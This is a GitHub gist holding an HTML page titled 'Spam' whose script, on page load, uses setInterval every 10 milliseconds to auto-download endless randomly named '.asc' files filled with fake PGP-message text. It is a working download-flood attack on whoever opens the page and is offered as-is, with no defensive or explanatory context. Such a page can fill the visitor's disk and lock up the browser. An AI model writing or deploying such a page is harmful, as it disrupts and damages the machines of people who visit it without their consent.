Skip to content

Instantly share code, notes, and snippets.

@lucabased
Created December 18, 2025 15:01
Show Gist options
  • Select an option

  • Save lucabased/4cf3fd9fb5ac1916361591d5620a4434 to your computer and use it in GitHub Desktop.

Select an option

Save lucabased/4cf3fd9fb5ac1916361591d5620a4434 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Spam</title>
</head>
<body>
<script>
function downloadSpam() {
const randomName = Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15) + ".asc";
// Create dummy content
const content = "-----BEGIN PGP MESSAGE-----\n" +
Array(100).fill(0).map(() => Math.random().toString(36).substring(2)).join('') +
"\n-----END PGP MESSAGE-----";
const blob = new Blob([content], { type: "application/pgp-encrypted" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = randomName;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
// Simulate "while true" without freezing the browser UI thread completely
setInterval(downloadSpam, 10);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment